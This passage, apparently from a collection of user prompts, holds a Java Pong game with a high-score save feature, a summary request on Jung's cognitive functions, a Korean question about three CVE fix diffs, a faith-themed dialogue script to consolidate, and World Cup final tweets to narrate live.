highScores.put(ps.getPlayerName(), ps.getPlayerScore());\n }\n\n FileOutputStream fos = null;\n try {\n fos = new FileOutputStream("HighScoresProps.bin");\n ObjectOutputStream oos = new ObjectOutputStream(fos);\n oos.writeObject(highScores);\n oos.close();\n } catch (FileNotFoundException ex) {\n ex.printStackTrace();\n } catch (IOException ex) {\n ex.printStackTrace();\n }\n }\n\n @Override\n public void windowOpened(WindowEvent e) {\n super.windowOpened(e);\n\n Properties highScores = new Properties();\n scores = new MyPriorityQueue<>(new ScoreComparator());\n\n try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("HighScoresProps.bin"))) {\n highScores = (Properties) ois.readObject();\n } catch (FileNotFoundException ex) {\n ex.printStackTrace();\n } catch (IOException ex) {\n ex.printStackTrace();\n } catch (ClassNotFoundException ex) {\n ex.printStackTrace();\n } finally {\n\n }\n\n Set> entrySet = highScores.entrySet();\n for (Map.Entry entry : entrySet) {\n Object key = entry.getKey();\n Object value = entry.getValue();\n scores.add(new PongScores((String) key, (int) value));\n }\n\n updateTopScores();\n timesPlayed = scores.size();\n }\n });\n\n setVisible(true);\n }\n\n private int timesPlayed;\n\n private static int ballSpeed = 2;\n\n private class GamePanel extends JPanel {\n private Point ball = new Point(5, 10);\n private Point delta = new Point(+1, -1);\n private Point paddle = new Point(20, 300);\n\n private final Point topBorder = new Point(0, 0);\n private final Point rightBorder = new Point(688, 0);\n private final Point bottomBorder = new Point(0, 566);\n\n private int score; //gameScore\n\n private int scoreStarted = score;\n private Timer ballTimer;\n\n GamePanel() {\n score = 0;\n this.setBackground(Color.BLACK);\n\n ballTimer = new Timer(2,\n e -> {\n ball.translate(delta.x, delta.y);\n\n if (ball.y < 10 || ball.y > (this.getHeight() - 50)) // bottom border\n {\n delta.y = -delta.y;\n }\n if (ball.x > (this.getWidth() - 50)) ////right border\n {\n delta.x = -delta.x;\n }\n\n paddleCollision();\n repaint();\n try {\n gameOver();\n } catch (IOException ex) {\n throw new RuntimeException(ex);\n }\n });\n\n ballTimer.start();\n this.addMouseWheelListener(new MouseWheelListener() {\n @Override\n public void mouseWheelMoved(MouseWheelEvent e) {\n if (paddle.y >= 0 && paddle.y <= 566) {\n paddle.y += -(e.getPreciseWheelRotation() \\* 10);\n repaint();\n }\n\n if (paddle.y < 6) { //if paddle goes out up\n paddle.y = 7;\n repaint();\n }\n\n if (paddle.y > 486) { //if paddle goes out down\n paddle.y = 485;\n repaint();\n }\n }\n });\n\n }\n\n private void gameOver() throws IOException {\n if (ball.x < -100) { //Stop the ball once out of the frame\n ballTimer.stop();\n scoreLabel.setText("GAME OVER!");\n\n Boolean isHigher = MyPriorityQueue.checkTopThree(score, scores);\n if (timesPlayed < 3 || isHigher) {\n String name = JOptionPane.showInputDialog("Please enter your 3 initials:");\n scores.add(new PongScores(name, score));\n }\n\n updateTopScores();\n //NEW GAME\n ball = new Point(5, 10);\n delta.x = -delta.x;\n score = 0;\n ballTimer.start();\n paddle = new Point(20, 300);\n timesPlayed++;\n }\n\n }\n\n private void paddleCollision() {\n Rectangle paddleBox = new Rectangle(paddle.x, paddle.y, 10, 80);\n Rectangle ballBox = new Rectangle(ball.x, ball.y, 40, 40);\n if (ballBox.intersects(paddleBox)) {\n if (ball.x < paddle.x) {\n ball.x = paddle.x - 40;\n } else {\n ball.x = paddle.x + 10;\n }\n }\n\n if (paddleBox.intersects(ballBox)) {\n delta.x = -delta.x;\n score += 1;\n scoreLabel.setText(Integer.toString(score));\n }\n/\\*\n if(score == (scoreStarted + 15)){\n ballSpeed -= -1;\n ballTimer.setDelay(ballSpeed);\n }\n \\*/\n\n }\n\n @Override\n public void paint(Graphics g) {\n super.paint(g);\n\n g.setColor(Color.WHITE);\n g.fillOval(ball.x, ball.y, 40, 40);\n g.fillRect(paddle.x, paddle.y, 10, 80);\n\n g.setColor(Color.GREEN);\n g.fillRect(topBorder.x, topBorder.y, 700, 12);\n\n g.fillRect(rightBorder.x, rightBorder.y, 12, 700);\n\n g.fillRect(bottomBorder.x, bottomBorder.y, 700, 12);\n }\n }\n\n private void updateTopScores() {\n JLabel[] labels = {topScore1, topScore2, topScore3};\n MyPriorityQueue scoresCopy = scores;\n\n if (scoresCopy.size() == 0) {\n topScore1.setText("TS1: ");\n topScore2.setText("TS2: ");\n topScore3.setText("TS3: ");\n } else {\n int counter = 0;\n for (Iterator iterator = scoresCopy.iterator(); iterator.hasNext(); ) {\n if (counter > 2)\n break;\n PongScores ps = iterator.next();\n labels[counter].setText("TS" + (counter + 1) + ": " + ps.getPlayerName() + ", " + ps.getPlayerScore());\n counter++;\n }\n }\n }\n}' +'Please summarize this: A Glance into the History of the 8 Jungian Functions\nCarl Jung, the famous Swiss psychiatrist, proposed his model of the eight (8) functions in his work, Psychological Types (1921). He divided the functions into two groups, extraverted (tethered in the external world) and introverted (unfolded in the inner world).\n\nJung’s work would later be built upon by Isabel Briggs Myers and her mother Katharine Cook Briggs, who created a personality model we know today as the Myers-Briggs Type Indicator (MBTI®). The Myers-Briggs approach used scales for Extraversion-Introversion, Sensing-Intuition and Thinking-Feeling based on Jung’s work and then added a fourth dimension of their own, Judging-Perceiving. The result is 4 different scales on which a person will be assigned one of two possible values. Thus there are 16 combinations (2 x 2 x 2 x 2 = 16).\n\nEach of the 16 personality types have four cognitive functions in alternating directions (i.e. introverted then extraverted, or vice versa), which can be thought of as four “puzzle pieces” in a particular type. External factors such as upbringing and stress can alter the way each function manifests.\n\nThe four (4) personality scales as proposed by Briggs and Myers:\nExtraversion (E) – Introversion (I) → Gaining energy by interacting with other people or alone\nSensing (S) – Intuition (I) → Collecting information through the senses or imagination\nThinking (T) – Feeling (F) → Making decisions through logic or emotions\nJudging (J) – Perceiving (P) → Organizing time by using schedules or without them; result- or process-oriented\nAs mentioned, the first three above are based on Jung’s work with the fourth added by Myers-Briggs. According to Jung, the “cognitive functions” are the two scales of Sensing-Intuition and Thinking-Feeling. These are the ways in which humans process information and think about the world. Then each function can be expressed both in an extraverted manner or an introverted manner. As such, Jung didn’t really view people as “extraverts” and “introverts” but rather was more focused on the extraverted or introverted expression of each of the four cognitive functions.\n\nJungian four (4) cognitive functions stack:\nJung’s cognitive function “stack” describes the priority or order in which a person uses their cognitive functions, with Primary being the most natural and commonly used and the Inferior being the least-commonly used.\n\nPrimary → Most natural (and comfortable) function; the internal “mother tongue”\nAuxiliary → Supporting function, usually connected with creation and job choice\nTertiary → Function where individual often takes action steps to improve upon\nInferior → Activates under extreme stress, generally avoided out of self-protection\nDescriptions of the Eight (8) Cognitive Functions\nNow let’s discuss the eight different cognitive functions originally outlined by Jung. His theory proposed that for each of the 4 functions (Sensing, Intuition, Thinking and Feeling) each person would generally either extravert (display outwardly or externally) or introvert (consider inwardly or internally) that function.\n\nAs you read below, consider each function and its expression. Are you more Se or Si? Does Te or Ti come more naturally for you?\n\nExtraverted Sensing (Se)\nTaking action, using all five senses, going forward. Se takes in the present moment in its entirety, and makes rapid decisions on the fly. During times of crisis and emergencies, individuals with primary or auxiliary Se can make the best out of the situation.\n\nExample career areas that emphasize extraverted sensing (Se):\n\nArchaeology\nStunt driving\nFirefighting\nEmergency patrol\nMassage therapy\nIntroverted Sensing (Si)\nAssociations, metaphors, nostalgia. Si can travel back to any point in time through a single scent or sound. Important information (and sometimes interesting trivia) is stored in filing cabinets, where it can be retrieved at any later time.\n\nExample career areas that emphasize introverted sensing (Si):\n\nMuseum curation\nInterior design\nQuantitative sciences (e.g. statistics)\nLibrary sciences\nMedical coding\nExtraverted Intuition (Ne)\nBrainstorming, thinking outside the box, idea generation. Ne easily hops from idea to idea, while making abstract connections. Many artists—especially poets—use significant Ne in their work. To the outside, Ne seems quick, random, and extremely “jumpy.”\n\nExample career areas that emphasize extraverted intuition (Ne):\n\nFilmmaking, concept art\nCopywriting, art direction\nEntrepreneurship\nVideo producer (e.g. Youtube)\nWorkshop facilitating\nIntroverted Intuition (Ni)\nTime-space awareness, predicting the future, hunches. Ni is a far-reaching, visionary function—and can picture the future, sometimes with scary-accurate results.\n\nExample career areas that emphasize introverted intuition (Ni):\n\nDetective services, private investigation\nEconomic predictions and analysis\nForensic and engineering psychology\nPublic speaking, mentoring\nConsulting, all types\nExtraverted Feeling (Fe)\nExpressive emotions, social norms, etiquette. Fe respects the consensus of the group, and puts harmony above personal desires. The function often acts as a mediator between groups, as it naturally puts others’ needs above its own.\n\nExample career areas that emphasize extraverted feeling (Fe):\n\nActing, performance arts\nSinging\nDance therapy\nTelevision hosting\nPublic relations (PR)\nIntroverted Feeling (Fi)\nValues, notions of “right” and “wrong,” likes and dislikes. Fi is a deeply personal and intense function that digs to the core of the human condition. Convictions, morals, and strong beliefs all fall under the Fi umbrella.\n\nExample career areas that emphasize introverted feeling (Fi):\n\nPoetry, creative writing\nArt, various forms\nNarrative design\nMental health counseling\nPeace studies\nExtraverted Thinking (Te)\nFacts, pros and cons, methodological step-by-step strategies. Te respects rules and regulations—and takes great pride in a job well done. Checklists and clear-cut meeting agendas get Te’s gears going—a top-down approach floats its boat.\n\nExample career areas that emphasize extraverted thinking (Te):\n\nAccounting\nPublic and private law\nComputer programming\nNatural sciences, laboratory support\nComputational mathematics\nIntroverted Thinking (Ti)\nIterations, holistic reasoning, agile strategies. Ti takes a bottom-up approach to problem-solving, and fixates on information management. When new data comes in that contradicts old beliefs, Ti will shift like a fluid crystalline framework.\n\nExample career areas that emphasize introverted thinking (Ti):\n\nData analysis\nSystems design engineering\nPhilosophy, sociology\nCybersecurity\nLanguage translation\nWhat are YOUR Functions and Cognitive Stack?\nAccording to Jung’s theory, each person would essentially predominantly display each function (Sensing, Intuition, Thinking, Feeling) in either an extraverted or introverted manner. So of the 8 functions listed above, you’d have 4 of them. If you favor Extraverted Intuition (Ne) it doesn’t mean you can’t use Introverted Intuition (Ni) but rather just that it is less common for you and thus Ne is your primary mode of Intuition. Since Intuition and Sensing are together on scale, if you extravert your Intuition then you tend to introvert your Sensing. So you’d have Ne and Si.\n\nNext you must consider your Thinking-Feeling scale. If this same person tends to externalize (or extravert) their Thinking in the real world then we have a Te, and thus by definition the Feeling would be introverted (Fi). So we have Ne, Si, Te, Fi. But not necessarily in that order. That’s when functional stacking steps in. Each individual uses both Thinking and Feeling functions, which makes the cut-and-dried type system overly simplistic. \n\nThe next task is to determine which function is primary, auxiliary, tertiary and inferior. This is when the concept of functional “stacking” comes in handy. Whichever is most natural is likely the primary, and so on. This is the order of the “stack”, which of your functions comes first or primary, and which comes last or inferior. Let’s say the order in this case is was Ne, Fi, Te, Si. That translates to the ENFP personality type.\n\nCertainly the primary and auxiliary functions are those that come most natural to an individual, and are likely to characterize their outward personality. But while these tendencies may be seen quite obviously on the surface, they don’t fully address one’s personality. The tertiary and inferior functions are also crucial to understand.\n\nIf we only consider the four letters in ENFP (Extraverted, Intuitive, Feeling, Perceiving), for example, it would be next to impossible to see the hidden extraverted thinking (Te) and introverted sensing (Si) in their stacking. ENFPs are more than just their bubbly, charismatic and energetic stereotype. Their Te allows them to systematically work through their tasks and Si with their (often overlooked) excellent memory for details. This can make them excellent PR managers, communications specialists, and journalists.\n\nAnother example of hidden functions in play can be seen in the INTJ (Introverted, Intuitive, Thinking, Judging). INTJs are often dubbed by the entertainment and film industry as chess grandmasters who are strategic, sometimes cunning, and sometimes cold. However, they have introverted feeling (Fi) and extraverted sensing (Se) as their respective third and fourth function. INTJs have strong morals and hold their loved ones dear to their hearts. When under stress, they can become acutely aware of their surroundings and an asset to any team.\n\nHow Does this Relate to “Personality Typing”?\nThis is the underlying theory behind the Myers-Briggs model and behind most models that also use the 16 personality types nomenclature. There is no shortage of different “personality tests” online that you can take that will attempt to determine what your functions are (Fe vs Fi, Te vs Ti, etc.) and in what order they are “stacked”. This then determines which of the 16 types you fall into. While the tests are certainly convenient, any such self-assessment is naturally rigid and prone to testing limitations and thus is never able to get a fully-accurate picture of a human being.' +'Resource Exposure 취약점이 존재하는 세 개의 CVE가 있는데, 셋의 패치가 각각 다음과 같아.\n\nCVE-2022-25375:\n\n--- rndis.c\\_5\\_OLD.vul 2022-03-03 17:41:44.082594059 +0900\n+++ rndis.c\\_5\\_NEW.vul 2022-03-03 17:41:44.082594059 +0900\n@@ -5,14 +5,17 @@\n rndis\\_set\\_cmplt\\_type \\*resp;\n rndis\\_resp\\_t \\*r;\n \n+ BufLength = le32\\_to\\_cpu(buf->InformationBufferLength);\n+ BufOffset = le32\\_to\\_cpu(buf->InformationBufferOffset);\n+ if ((BufLength > RNDIS\\_MAX\\_TOTAL\\_SIZE) ||\n+ (BufOffset + 8 >= RNDIS\\_MAX\\_TOTAL\\_SIZE))\n+ return -EINVAL;\n+\n r = rndis\\_add\\_response(params, sizeof(rndis\\_set\\_cmplt\\_type));\n if (!r)\n return -ENOMEM;\n resp = (rndis\\_set\\_cmplt\\_type \\*)r->buf;\n \n- BufLength = le32\\_to\\_cpu(buf->InformationBufferLength);\n- BufOffset = le32\\_to\\_cpu(buf->InformationBufferOffset);\n-\n #ifdef VERBOSE\\_DEBUG\n pr\\_debug("%s: Length: %d\\n", \\_\\_func\\_\\_, BufLength);\n pr\\_debug("%s: Offset: %d\\n", \\_\\_func\\_\\_, BufOffset);\n\nCVE-2022-25236:\n\n--- runtests.c\\_364\\_OLD.vul 2022-03-26 22:36:09.214467870 +0900\n+++ runtests.c\\_364\\_NEW.vul 2022-03-26 22:36:09.214467870 +0900\n@@ -2,16 +2,18 @@\n struct test\\_case {\n enum XML\\_Status expectedStatus;\n const char \\*doc;\n+ XML\\_Char namesep;\n };\n struct test\\_case cases[] = {\n- {XML\\_STATUS\\_OK, ""},\n- {XML\\_STATUS\\_ERROR, ""},\n+ {XML\\_STATUS\\_OK, "", XCS(\'\\n\')},\n+ {XML\\_STATUS\\_ERROR, "", XCS(\'\\n\')},\n+ {XML\\_STATUS\\_OK, "", XCS(\':\')},\n };\n \n size\\_t i = 0;\n size\\_t failCount = 0;\n for (; i < sizeof(cases) / sizeof(cases[0]); i++) {\n- XML\\_Parser parser = XML\\_ParserCreateNS(NULL, \'\\n\');\n+ XML\\_Parser parser = XML\\_ParserCreateNS(NULL, cases[i].namesep);\n XML\\_SetElementHandler(parser, dummy\\_start\\_element, dummy\\_end\\_element);\n if (XML\\_Parse(parser, cases[i].doc, (int)strlen(cases[i].doc),\n /\\*isFinal\\*/ XML\\_TRUE)\n\nCVE-2022-23960:\n\n"--- proton-pack.c\\_5\\_OLD.vul 2022-04-04 14:41:09.455015025 +0900\n+++ proton-pack.c\\_5\\_NEW.vul 2022-04-04 14:41:09.455015025 +0900\n@@ -1,11 +1,23 @@\n ssize\\_t cpu\\_show\\_spectre\\_v2(struct device \\*dev, struct device\\_attribute \\*attr,\n char \\*buf)\n {\n+ enum mitigation\\_state bhb\\_state = arm64\\_get\\_spectre\\_bhb\\_state();\n+ const char \\*bhb\\_str = get\\_bhb\\_affected\\_string(bhb\\_state);\n+ const char \\*v2\\_str = "Branch predictor hardening";\n+\n switch (spectre\\_v2\\_state) {\n case SPECTRE\\_UNAFFECTED:\n- return sprintf(buf, "Not affected\\n");\n+ if (bhb\\_state == SPECTRE\\_UNAFFECTED)\n+ return sprintf(buf, "Not affected\\n");\n+\n+ /\\*\n+ \\* Platforms affected by Spectre-BHB can\'t report\n+ \\* "Not affected" for Spectre-v2.\n+ \\*/\n+ v2\\_str = "CSV2";\n+ fallthrough;\n case SPECTRE\\_MITIGATED:\n- return sprintf(buf, "Mitigation: Branch predictor hardening\\n");\n+ return sprintf(buf, "Mitigation: %s%s\\n", v2\\_str, bhb\\_str);\n case SPECTRE\\_VULNERABLE:\n fallthrough;\n default:\n"\n"--- spectre.c\\_1\\_OLD.vul 2022-04-04 14:13:14.511591691 +0900\n+++ spectre.c\\_1\\_NEW.vul 2022-04-04 14:13:14.511591691 +0900\n@@ -3,6 +3,6 @@\n #ifdef CONFIG\\_BPF\\_SYSCALL\n return !sysctl\\_unprivileged\\_bpf\\_disabled;\n #else\n- return false\n+ return false;\n #endif\n }\n"\n"--- mmu.c\\_24\\_OLD.vul 2022-04-04 14:44:17.456707352 +0900\n+++ mmu.c\\_24\\_NEW.vul 2022-04-04 14:44:17.456707352 +0900\n@@ -1,5 +1,7 @@\n static int \\_\\_init map\\_entry\\_trampoline(void)\n {\n+ int i;\n+\n pgprot\\_t prot = rodata\\_enabled ? PAGE\\_KERNEL\\_ROX : PAGE\\_KERNEL\\_EXEC;\n phys\\_addr\\_t pa\\_start = \\_\\_pa\\_symbol(\\_\\_entry\\_tramp\\_text\\_start);\n \n@@ -8,11 +10,15 @@\n \n /\\* Map only the text into the trampoline page table \\*/\n memset(tramp\\_pg\\_dir, 0, PGD\\_SIZE);\n- \\_\\_create\\_pgd\\_mapping(tramp\\_pg\\_dir, pa\\_start, TRAMP\\_VALIAS, PAGE\\_SIZE,\n- prot, \\_\\_pgd\\_pgtable\\_alloc, 0);\n+ \\_\\_create\\_pgd\\_mapping(tramp\\_pg\\_dir, pa\\_start, TRAMP\\_VALIAS,\n+ entry\\_tramp\\_text\\_size(), prot,\n+ \\_\\_pgd\\_pgtable\\_alloc, NO\\_BLOCK\\_MAPPINGS);\n \n /\\* Map both the text and data into the kernel page table \\*/\n- \\_\\_set\\_fixmap(FIX\\_ENTRY\\_TRAMP\\_TEXT, pa\\_start, prot);\n+ for (i = 0; i < DIV\\_ROUND\\_UP(entry\\_tramp\\_text\\_size(), PAGE\\_SIZE); i++)\n+ \\_\\_set\\_fixmap(FIX\\_ENTRY\\_TRAMP\\_TEXT1 - i,\n+ pa\\_start + i \\* PAGE\\_SIZE, prot);\n+\n if (IS\\_ENABLED(CONFIG\\_RANDOMIZE\\_BASE)) {\n extern char \\_\\_entry\\_tramp\\_data\\_start[];\n \n"\n"--- traps.c\\_38\\_OLD.vul 2022-04-04 14:14:21.006774119 +0900\n+++ traps.c\\_38\\_NEW.vul 2022-04-04 14:14:21.006774119 +0900\n@@ -1,7 +1,5 @@\n void \\_\\_init early\\_trap\\_init(void \\*vectors\\_base)\n {\n-#ifndef CONFIG\\_CPU\\_V7M\n- unsigned long vectors = (unsigned long)vectors\\_base;\n extern char \\_\\_stubs\\_start[], \\_\\_stubs\\_end[];\n extern char \\_\\_vectors\\_start[], \\_\\_vectors\\_end[];\n unsigned i;\n@@ -22,17 +20,10 @@\n \\* into the vector page, mapped at 0xffff0000, and ensure these\n \\* are visible to the instruction stream.\n \\*/\n- memcpy((void \\*)vectors, \\_\\_vectors\\_start, \\_\\_vectors\\_end - \\_\\_vectors\\_start);\n- memcpy((void \\*)vectors + 0x1000, \\_\\_stubs\\_start, \\_\\_stubs\\_end - \\_\\_stubs\\_start);\n+ copy\\_from\\_lma(vectors\\_base, \\_\\_vectors\\_start, \\_\\_vectors\\_end);\n+ copy\\_from\\_lma(vectors\\_base + 0x1000, \\_\\_stubs\\_start, \\_\\_stubs\\_end);\n \n kuser\\_init(vectors\\_base);\n \n- flush\\_icache\\_range(vectors, vectors + PAGE\\_SIZE \\* 2);\n-#else /\\* ifndef CONFIG\\_CPU\\_V7M \\*/\n- /\\*\n- \\* on V7-M there is no need to copy the vector table to a dedicated\n- \\* memory area. The address is configurable and so a table in the kernel\n- \\* image can be used.\n- \\*/\n-#endif\n+ flush\\_vectors(vectors\\_base, 0, PAGE\\_SIZE \\* 2);\n }\n"\n\n세 패치에서 Resource Exposure 취약점이 존재한다는 공통된 근거를 뽑아낼 수 있어?' +"Can you reorganize and consolidate this script (keep in script form): \nJonathan: Hey, Damian. What's up? You seem a bit down.\nDamian: (hesitantly) I did something really bad, John. I hurt someone and I don't think I can ever make it right.\nJonathan: (concerned) Oh man, that sounds rough. What did you do?\nDamian: (in a low voice) I hurt someone really badly, and I don't know if I can ever make it right.\nJonathan: (understanding) I get how you feel, Damian. But the important thing is to repent and ask Jesus to forgive you.\nDamian: (hesitant) I don't know about all that, John. I'm not sure I even believe in God.\nJonathan: (gentle) That's okay, Damian. But I believe that Jesus is the only one who can truly forgive us and heal us. And I believe that He loves you, no matter what.\nDamian: (tearfully) But what if He can't forgive me? What if I'm too far gone?\nJonathan: (comforting) That's not true, Damian. There's no sin too big for Jesus to forgive. He died on the cross for all our sins, so that we could be forgiven and have eternal life with God.\nDamian: (thoughtful) I see. But what if I mess up again?\nJonathan: (gentle) We all mess up, Damian. But that's why we need Jesus. He doesn't just forgive us, He helps us to live for Him and do the right thing.\nDamian: (nodding) I think I understand, John. But it's hard to believe sometimes.\nJonathan: (smiling) I know it is. But I believe it with all my heart. And I believe that Jesus can help you too, Damian.\nDamian: (nodding slowly) Okay, John. I'll try to have faith.\nJonathan: (grinning) That's the spirit, Damian. And I'll be here for you every step of the way.\nDamian: (in a low voice) There's one more thing, John. I did something really bad to my own flesh and blood. I don't know how to make it right.\nJonathan: (explaining) Yeah. When we repent and ask Jesus to forgive us, He doesn't just wipe the slate clean. He also gives us a new heart and a new spirit, so that we can start fresh and live for Him.\nDamian: (nodding slowly) I see. But what if I mess up again? What if I can't live up to His standards?\nJonathan: (gentle) It's okay if you do. We all make mistakes. But that's why we need Jesus. He doesn't just forgive us, He also helps us to live for Him and do the right thing.\nDamian: (nodding) I think I understand. But it's hard to believe sometimes.\nJonathan: (smiling) I know. But I believe it with all my heart. And I believe that Jesus can help you too, Damian.\nDamian: (nodding slowly) Okay, John. I'll try. I'll try to repent and ask for forgiveness.\nJonathan: (grinning) That's the spirit, Damian. And I'll be here for you every step of the way.\nDamian: (in a low voice) John, there's something I have to confess. I did something terrible to my own flesh and blood. I stole something that was very important to them, and I don't know how to make it right.\nJonathan: (concerned) I'm sorry to hear that, Damian. I understand how you feel. There was a time when I didn't tell the truth about something, and it really weighed on me.\nDamian: (curious) What did you do, John?\nJonathan: (hesitant) Well, there was a time when I accidentally broke a vase at my grandma's house. And I was so scared of getting in trouble that I lied and said I didn't do it. But the guilt ate away at me for days.\nDamian: (thoughtful) That sounds rough.\nJonathan: (nodding) It was. But then I remembered what my mom and dad taught me about repentance and asking for forgiveness. So I prayed to God and asked Him to help me tell the truth and make things right.\nDamian: (curious) And what happened?\nJonathan: (smiling) Well, it wasn't easy. But I talked to my grandma and told her the truth, and she forgave me. And I felt so much better afterwards, like a weight had been lifted off my shoulders.\nDamian: (nodding slowly) I see. But what if it's something worse? Something that can't be fixed?\nJonathan: (gentle) There's no sin too big for God to forgive, Damian. I believe that with all my heart. And I believe that Jesus can transform our hearts and desires, so that we don't want to sin anymore.\nDamian: (skeptical) But how does that work? How can God change us like that?\nJonathan: (explaining) Well, when we ask Jesus to come into our hearts and be our Lord and Savior, He gives us the Holy Spirit to guide us and help us. And He also gives us a new heart and a new desire to live for Him and do what's right.\nDamian: (thoughtful) That sounds too good to be true.\nJonathan: (smiling) I know it does. But I believe it because I've experienced it myself. When we surrender our lives and our will to God, He can do amazing things in us and through us.\nDamian: (nodding slowly) Okay, John. I think I understand. I'll try to do what's right and ask for forgiveness.\nJonathan: (grinning) That's great, Damian. And I'll be here to support you every step of the way.\nDamian: (shaking his head) I don't know, John. It's not just that one thing. I've done so many terrible things. Like when I hurt my own mother or when I killed Goliath. I don't think I can ever be forgiven for that.\nJonathan: (sympathetic) I know it's hard to believe, Damian. But I still think that God can forgive you. And I still believe that He loves you, no matter what.\nDamian: (doubtful) But how can He? How can He love someone who's so wicked and cruel?\nJonathan: (pausing) I don't know, Damian. But I believe that He does. And I believe that His love is bigger than our mistakes.\nDamian: (breaking down in tears) But what if it's not enough? What if I'm too far gone?\nJonathan: (comforting) That's not true, Damian. God's love is always enough. And there's nothing we can do to earn it or lose it. It's a gift that He freely gives to us, even when we don't deserve it.\nDamian: (nodding slowly) I want to believe that. I really do. But it's hard.\nJonathan: (nodding) I know it is. But that's why we need faith. We need to trust in God's promises, even when we don't understand them or feel them.\nDamian: (curious) What promises?\nJonathan: (smiling) Well, for one thing, He promised to never leave us or forsake us. And He promised to give us peace that surpasses all understanding.\nDamian: (thoughtful) Peace?\nJonathan: (explaining) Yeah. Even when we've done terrible things and feel like we don't deserve forgiveness, God can give us a sense of peace and assurance that everything will be okay.\nDamian: (nodding slowly) Okay, John. I'll try to have faith. But I still feel so ashamed and alone.\nJonathan: (sympathetic) I know how you feel, Damian. But you're not alone. I'm here for you. And more importantly, God is here for you too. And He loves you more than you can imagine.\nDamian: (nodding) Okay, John. Thank you for listening and for not judging me.\nJonathan: (grinning) Anytime, Damian. And remember, even when we can't see it or feel it, God's love is always there. Just like when we were stuck in that cave and thought we were alone, but Superboy and Robin came to rescue us.\nDamian: (smiling faintly) Yeah, I remember that.\nJonathan: (smiling back) And just like how we had to trust that they would come, even when it seemed impossible, we have to trust that God will come through for us too. And I believe He will, Damian. I really do.\nDamian: (thoughtful) You know, John. Maybe you're right. Maybe God can forgive me and love me, no matter what.\nJonathan: (encouraging) I believe He can, Damian. And I believe that He already has, through Jesus.\nDamian: (curious) What do you mean?\nJonathan: (explaining) Well, when Jesus died on the cross, He took the punishment for all our sins. He paid the price that we couldn't pay, so that we could be forgiven and have eternal life with God.\nDamian: (nodding slowly) I see. And all we have to do is believe in Him?\nJonathan: (nodding) That's right. And not just believe, but also surrender our lives and our will to Him. To follow Him and live for Him, no matter what.\nDamian: (thoughtful) That sounds like a big commitment.\nJonathan: (smiling) It is. But it's also the most rewarding thing we can do. To know that we're living for something greater than ourselves. To know that we have a purpose and a hope that goes beyond this world.\nDamian: (nodding slowly) I think I'm ready to take that step, John. To believe in Jesus and follow Him.\nJonathan: (grinning) That's amazing, Damian. I'm so happy for you. And I'll be here to support you every step of the way.\nDamian: (smiling faintly) Thank you, John. And thanks for everything. For listening, for being patient, for showing me the way.\nJonathan: (smiling back) Anytime, Damian. That's what friends are for. And I know that God has a great plan for your life, Damian. A plan to use your strengths and your passions to make a difference in the world. A plan to bring you joy and fulfillment, beyond what you can imagine.\nDamian: (nodding slowly) I believe it, John. I really do. And I'm excited to see what God has in store for me.\nDamian: (hesitant) There's one more thing, John. One more sin that I need to confess.\nJonathan: (listening) What is it, Damian?\nDamian: (in a low voice) I killed a man, John. A man who was trying to hurt me and my friends. But still, I took his life.\nJonathan: (shocked) That's a heavy burden, Damian. But I still believe that God can forgive you, if you're willing to repent and ask for His forgiveness.\nDamian: (tearful) I am, John. I really am. But I don't know how to pray.\nJonathan: (comforting) It's okay, Damian. I can help you. We can pray together, if you want.\nDamian: (nodding) Please, John. I need your help.\nJonathan: (closing his eyes) Okay, Damian. Let's bow our heads and pray.\nDamian: (sniffling) Thank you, John. Thank you for praying for me.\nJonathan: (smiling) Anytime, Damian. That's what friends do. And I believe that God heard our prayer and that He's already working in your life, Damian. I believe that He's forgiven you and that He's giving you a new start, a fresh beginning.\nDamian: (nodding slowly) I believe it too, John. And I'm grateful for your friendship and your faith." +"Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat's a beautiful goal ???''#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat's a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal'Absolutely beautiful ?? '#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don't even want Argentina to win but I can't deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! 